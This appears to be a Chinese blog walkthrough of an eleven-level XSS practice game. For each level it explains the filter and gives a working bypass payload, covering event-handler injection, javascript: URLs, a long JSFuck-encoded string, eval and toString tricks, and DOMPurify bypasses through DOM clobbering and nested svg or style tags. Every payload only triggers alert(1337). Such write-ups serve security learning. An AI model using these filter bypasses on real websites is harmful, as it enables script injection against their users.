XSS小游戏(题目+解析)DOM破坏!!!

文章目录

  • 一、Ma Spaghet!
  • 二、Jefff
  • 三、Ugandan Knuckles
  • 四、Ricardo Milos
  • 五、Ah That's Hawt
  • 六、Ligma
  • 七、Mafia
      • 方法一:可以用匿名函数来试试
      • 方法二:利用toString方法
      • 方法三:利用location和hash切片slice
  • 八、Ok, Boomer
  • 九、svg
  • 十、DOM破坏
  • 十一、WW3

xss题目练习地址:
xss小游戏
游戏界面
在这里插入图片描述

一、Ma Spaghet!

在这里插入图片描述
我将题目要求进行翻译:
题目的主要要求就是:弹出一个(1337)的弹窗
在这里插入图片描述
开始解题:
Let’s Go!
在这里插入图片描述
首先,传个参数看看
在这里插入图片描述
发现参数直接显示在了 < h2 > 标签里面了,肯定是有问题的。
回看一下代码:
在这里插入图片描述
用的是innerHTML,这个就是解题的关键,它里面有一个威胁标签,官方将其禁用了,就是 < script > 但是也只是禁用了这一个标签,所以换一个就行了用 < img > 试试:

成功!在这里插入图片描述
绕过代码:

?somebody=<img src="1" onerror="alert(1337)">

二、Jefff

在这里插入图片描述
看代码知道:

"Ma name ${jeff}"

这个值赋值给了ma,然后在1秒的睡眠后,在页面输出
那么就正常的绕过思路(用双引号绕过,然后注释掉后面的引号):
成功!
在这里插入图片描述
绕过代码:

?jeff=1";alert(1337);//

也可以用另一种方法,也和上面这个方法差不多(换个表示方法):
在这里插入图片描述
代码:

?jeff=1"-alert(1337);-"

三、Ugandan Knuckles

在这里插入图片描述
看代码加了点限制;

wey = wey.replace(/[<>]/g, '')

他过滤了尖括号,然后放在了input位置
那么这里就要使用一个方法了:
onfocus :焦点(获取焦点事件)
input天生就有焦点事件:
在这里插入图片描述
如上图(红框)
鼠标在上面移动时,显示的就是焦点
同时还要搭配另一个方法:autofocus (自动聚焦)

我们来看看效果:
成功!
在这里插入图片描述

绕过代码:

?wey=aaa" οnfοcus=alert(1337) autofocus="

autofocus自动聚焦到 onfocus 让他自动执行 alert(1337)

四、Ricardo Milos

在这里插入图片描述
这题多了一个(submit)提交事件,在两秒后自动运行action,那么明显action是一个注入点:
成功!
在这里插入图片描述
绕过代码:

?ricardo=javascript:alert(1337)

五、Ah That’s Hawt

在这里插入图片描述
这个题目可以试试用 location :用于获取或设置窗体的URL,并且可以用于解析URL
成功!
在这里插入图片描述
绕过代码:

?markassbrownlee=<img src=1 onerror=location="javascript:alert%25281337%2529">

开始我后面写的是:

"javascript:alert%281337%29"

但是不能运行,所以我把 % 也进行了编码转换(% = %25)然后就成功了

六、Ligma

在这里插入图片描述
这个题(有点狠呀!)过滤了字母和数字,看到的时候还是愣了一下,想不到解决方法 ~~~ 毕竟每个绕过(查找)都要有字母数字
所以我当时唯一想到的就是用编码的方式绕过:
先找一个好的编码网页:
在这里插入图片描述
得到编码,但是还不行,还要进行编码:
在这里插入图片描述
全部复制:
在这里插入图片描述
指定参数进行传参:

?balls=%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%2B%5B%21%5B%5D%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%2B%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%29%29%5B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%28%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%5D%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%28%29%28%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%5B%2B%5B%5D%5D%2B%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%29

七、Mafia

在这里插入图片描述
限制了字长,过滤了字符,过滤了alert,其实还过滤了另外两个(confirm,prompt),作者应该是写错代码了,不然仅过滤一个alert,那我们可以用(confirm,prompt)这两个绕过,那这题就没意义了。

方法一:可以用匿名函数来试试

匿名函数先定义的函数,然后在里面将函数的源码转为小写
在这里插入图片描述

绕过代码:

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

方法二:利用toString方法

十六进制,alert转换的话,30刚好到 “t” ,如果小于 30 那么 就只能解析为 aler 少了 “t”
在这里插入图片描述

绕过代码:

?mafia=eval(8680439..toString(30))(1337)

相对于把前面 “eval(8680439…toString(30))” 这个代码转换为 alert

方法三:利用location和hash切片slice

在这里插入图片描述
绕过代码:

?mafia=eval(location.hash.slice(1))#alert(1337)

后面的 “alert(1337)” 不会被认为是前面的参数,所以不会被过滤

八、Ok, Boomer

在这里插入图片描述
新增了一个过滤框架 “DOMPurify” ,这个框架基本无法绕过
可以利用 js 弱类型语言的特点
可以把函数放入字符串中,然后执行,那么我们就可以利用这个来操作。a标签的href会自动替换为字符串,而在代码中可以知道,它会自动获取到href的值,那么我们就可以将函数写入到href当中。
成功!
在这里插入图片描述
绕过代码:

?boomer=<a id=ok href="tel:alert(1337)">

注意:“ “tel:alert(1337)” 这里我写的是tel ,因为javascript 在“DOMPurify” 这个框架中是黑名单,所以我换成了这个 tel 因为这个在白名单里面,是被框架允许的”

九、svg

在这里插入图片描述
利用svg再嵌套一个svg实现输出
在这里插入图片描述
至于这个原理:经过我的查找,我的理解是在进行文件执行前,会进行一个DOM树的构建,而如果只是一个svg的话,由于js阻塞dom树,一直到js语句执行结束后,才可以引入img,此时img的属性已经被sanitizer清除了,自然也不可能执行事件代码了
而如果是嵌套 svg 的话,我理解的是**最内层的svg先触发,然后再到下一层,而且是在DOM树构建完成以前就触发了相关事件;最外层的svg则得等到DOM树构建完成才能触发。**也就是说只要嵌套两个及以上的svg就会执行输出(个人想法,不知道对不对,对这个有了解的可以解答一下,我这个想法是对的吗)

十、DOM破坏

在这里插入图片描述
源码:

<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="author" content="system"><meta name="keywords" content="whoami"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title><script>alert(1)</script></title>
</head><body><style>@keyframes x{}</style><form style="animation-name: x" onanimationstart="alert(1)"><input id=attributes><input id=attributes>
</body>
<script>const data = decodeURIComponent(location.hash.substr(1))const root = document.createElement('div')root.innerHTML = data// console.log(root.querySelectorAll('*'))for (let el of root.querySelectorAll('*')) {let attrs = [];for (let attr of el.attributes) {attrs.push(attr.name)}for (let name of attrs) {el.removeAttribute(name);}}document.body.appendChild(root);
</script></html>

主要的原理就是 “< input id=attributes> < input id=attributes>”利用这两个input无关紧要的值代替里面要被删除的合法属性参数,从而使前面“< style>@keyframes x{}</ style>< form style=“animation-name: x” onanimationstart=“alert(1)”>”这个代码进行逃逸(绕过),使能够在页面执行输出。

十一、WW3

在这里插入图片描述
源代码:

<!-- Challenge -->
<div><h4>Meme Code</h4><textarea class="form-control" id="meme-code" rows="4"></textarea><div id="notify"></div>
</div><script>/* Utils */const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, '');const memeTemplate = (img, text) => {return (`<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');`+`.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}`+`.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;`+`position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>`+`<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>`)}const memeGen = (that, notify) => {if (text && img) {template = memeTemplate(img, text)if (notify) {html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)}setTimeout(_ => {$('#status').remove()notify ? ($('#notify').html(html)) : ''$('#meme-code').text(template)}, 1000)}}
</script><script>/* Main */let notify = false;let text = new URL(location).searchParams.get('text')let img = new URL(location).searchParams.get('img')if (text && img) {document.write(`<div class="alert alert-primary" role="alert" id="status">`+`<img class="circle" src="${escape(img)}" οnlοad="memeGen(this, notify)">`+`Creating meme... (${DOMPurify.sanitize(text)})</div>`)} else {$('#meme-code').text(memeTemplate('https://i.imgur.com/PdbDexI.jpg', 'When you get that WW3 draft letter'))}
</script>

经过对代码的分析,发现,基本都有过滤,但是还是有切入点的,就是以下这个
在这里插入图片描述
如果正确,那么就会输出以下代码,我们可以在这个代码中做文章

 if (notify) {html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)}

很明显也是要用到DOM破坏的
利用自动补全机制,通过嵌套 < style > 使< script > 写进div里面进行执行
成功! 在这里插入图片描述
绕过代码:

?text=<img%20name%3dnotify><style><style%2F><script>alert(1337)%2F%2F&img=https://i.imgur.com/PdbDexI.jpg

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/402875.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

阿里巴巴Arthas详解

Arthas 是 Alibaba 在 2018 年 9 月开源的 Java 诊断工具。支持 JDK6&#xff0c; 采用命令行交互模式&#xff0c;可以方便的定位和诊断线上程序运行问题。Arthas 官方文档十分详细&#xff0c;详见&#xff1a;arthas Arthas使用场景 得益于 Arthas 强大且丰富的功能&#x…

基于 Appium 的 App 爬取实战

除了运行 Appium 的基本条件外&#xff0c;还要一个日志输出库 安装&#xff1a; pip install loguru 思路分析 首先我们观察一下整个 app5 的交互流程&#xff0c;其首页分条显示了电影数据&#xff0c; 每个电影条目都包括封面&#xff0c;标题&#xff0c; 类别和评分 4…

EMQX Platform Snowflake:构建可再生分布式能源的智慧未来

引言 可再生能源如风力和太阳能发电&#xff0c;具有低成本和环保的特性&#xff0c;是未来能源供应的主要方向。然而&#xff0c;这类发电方式存在供应分散、设备数量多、地区分布广等特点。再加上不同地区的季节和天气变化&#xff0c;不确定性极大。 随着社会用电需求的持…

移情别恋c++ ദ്ദി˶ー̀֊ー́ ) ——5.string(模拟实现)

1.存储结构 namespace zone {class string{public:private: //设置私有&#xff0c;不允许随便访问底层数据char* _str; //字符串存储空间首地址指针size_t _size; //当前字符数量size_t _capaicty; //可用容量static const size_t npos;}const size_t string::nops -1;//在类…

【C++STL详解(十一)】map/set/multimap/multiset的介绍与使用

目录 一、关联式容器 二、键值对 三、set 介绍 简单使用 1.构造 2.相关迭代器 3.容量 4.修改 四、multiset 五、map 介绍 使用 1.定义的方式 2.迭代器相关 3.容量与operator【】(重点) 4.修改 小总结&#xff1a; 六、multimap 一、关联式容器 在CSTL中…

硬件面试经典 100 题(51~70 题)

51、请列举您知道的覆铜板厂家。 生益、建滔。 52、示波器铭牌一般都会标识两个参数&#xff0c;比如泰克 TDS1002B 示波器标识的 60MHz 和 1GS/s&#xff0c;请解释这两个参数的含义。 60MHz 是指示波器的带宽&#xff0c;即正常可以测量 60MHz 频率以下的信号。 1GS/s 是指示…

MySQL进阶难度知识点分析

以下为本人在阅读《MySQL是怎样运行的&#xff1a;从根儿上理解MySQL》这本书时对一些难度和重点的笔记&#xff0c;主要用于个人学习使用&#xff0c;内容可能存在出入&#xff0c;望理性食用~ 1. sql执行流程 一条sql的执行流程大致可分为客户端获取与数据库服务器的连接&am…

【JavaEE精炼宝库】网络原理基础——UDP详解

文章目录 一、应用层二、传输层2.1 端口号&#xff1a;2.2 UDP 协议&#xff1a;2.2.1 UDP 协议端格式&#xff1a;2.2.2 UDP 存在的问题&#xff1a; 2.3 UDP 特点&#xff1a;2.4 基于 UDP 的应用层协议&#xff1a; 一、应用层 我们 Java 程序员在日常开发中&#xff0c;最…

【排序篇】插入排序与选择排序

&#x1f308;个人主页&#xff1a;Yui_ &#x1f308;Linux专栏&#xff1a;Linux &#x1f308;C语言笔记专栏&#xff1a;C语言笔记 &#x1f308;数据结构专栏&#xff1a;数据结构 文章目录 1. 排序的概念及其应用1.1 排序的概念1.2 排序的应用场景1.3 常见的排序算法 2.常…

Vue3+vite+ts 项目使用mockjs

1、安装mockjs npm i mockjs 2、安装vite-plugin-mock npm i vite-plugin-mock -D 3、安装axios npm i axios 4.在src目录下创建mock文件夹,在文件夹内创建login.ts等文件&#xff0c;并在文件夹内放置以下内容&#xff08;注&#xff1a;URL要和真实请求地址保持一致&am…

走向绿色:能源新选择,未来更美好

当前&#xff0c;全球范围内可再生能源正经历着从辅助能源向核心能源的深刻转型&#xff0c;绿色能源日益渗透至居住、出行、日常应用等多个领域&#xff0c;深刻影响着我们的生活方式&#xff0c;使我们能够更加充分地体验清洁能源所带来的优质生活。 一、绿色能源与“住” …

搭建知识中台:让企业告别低效率

在当今这个信息爆炸、知识更新日新月异的时代&#xff0c;企业面临着前所未有的挑战与机遇。如何在浩瀚的信息海洋中高效筛选、整合并利用知识资源&#xff0c;成为决定企业竞争力的关键因素之一。因此&#xff0c;搭建知识中台&#xff0c;构建企业知识管理的核心枢纽&#xf…

day 28 HTTP协议

一、TCP粘包问题 TCP发送数据是连续的&#xff0c;两次发送的数据可能粘连成一包被接收到 解决粘包问题方法&#xff1a; 1.接收指定长度&#xff1a;&#xff08;不稳定&#xff09; 2.睡眠&#xff1a;&#xff08;效率低&#xff09; 让每次…

19010 最小的特殊数字

### 详细分析 1. 读取输入的N和K&#xff0c;以及N个数字。 2. 使用回溯算法生成所有可能的数字组合。 3. 对于每个组合&#xff0c;检查是否满足没有前置0且能被K整除。 4. 记录满足条件的最小数。 5. 输出满足条件的最小数&#xff0c;如果没有满足条件的数输出-1。 ### 代码…

java流程控制之分支结构(附有案例说明)

顺序结构&#xff1a;从上到下依次执行 前向引用 分支结构&#xff1a;根据条件选择的执行某段代码 1.if -else 结构 分支结构 if-else 1、格式1 if&#xff08;条件表达式&#xff09;{ 语句块 } 2、格式2 if&#xff08;条件表达式&#xff09;{ 语句块&#xff1b…

鸡爪全自动包冰衣设备:

一、快速冷冻&#xff0c;效率高 速冻挂冰机是一种能够快速降温并迅速冷冻食品的冷藏设备。其采用强制循环风冷技术&#xff0c;可以将食品迅速降温到所需温度&#xff0c;使食品更加新鲜。相比于传统的冷冻方式&#xff0c;速冻挂冰机的速度更快&#xff0c;效率更高&#xf…

2021年上半年网络工程师考试上午真题

2021年上半年网络工程师考试上午真题 网络工程师历年真题含答案与解析 第 1 题 以下关于RISC和CISC计算机的叙述中&#xff0c;正确的是&#xff08; &#xff09;。 (A) RISC不采用流水线技术&#xff0c;CISC采用流水线技术(B) RISC使用复杂的指令&#xff0c;CISC使用简…

超级外链工具,可发9600条优质外链

超级外链工具&#xff0c;是一款在线全自动化发外链的推广工具。使用本工具可免费为网站在线批量增加外链&#xff0c;大大提高外链发布工作效率&#xff0c;是广大草根站长们必备的站长工具。 外链工具只是网站推广的辅助工具&#xff0c;一般适用于短时间内无法建设大量外链…

欧拉远程桌面 安装tigervnc

注意&#xff1a;安装远程tigevnc前提必须已经安装桌面环境&#xff0c;以下为ukui桌面环境&#xff0c;dde稍有区别&#xff1b; 1、关闭selinux 注意&#xff1a;selinux为安全措施也可以加入对应规则 setenforce 0 sed -i s/^SELINUXenforcing.*/SELINUXdisabled/ /etc/sel…

坚鹏讲人才第12期:引领数字化未来—数字化人才与导师共赢之路

坚鹏讲人才第12期&#xff1a;引领数字化未来—数字化人才与导师共赢之路 ——抢占名额先机 成为坚鹏弟子 加速数字化转型 数字化浪潮汹涌而至&#xff0c;你是否感到迷茫、困惑、焦虑&#xff1f;想不想一脚油门冲进未来&#xff0c;和我一同探寻数字化人才的奥秘&#xf…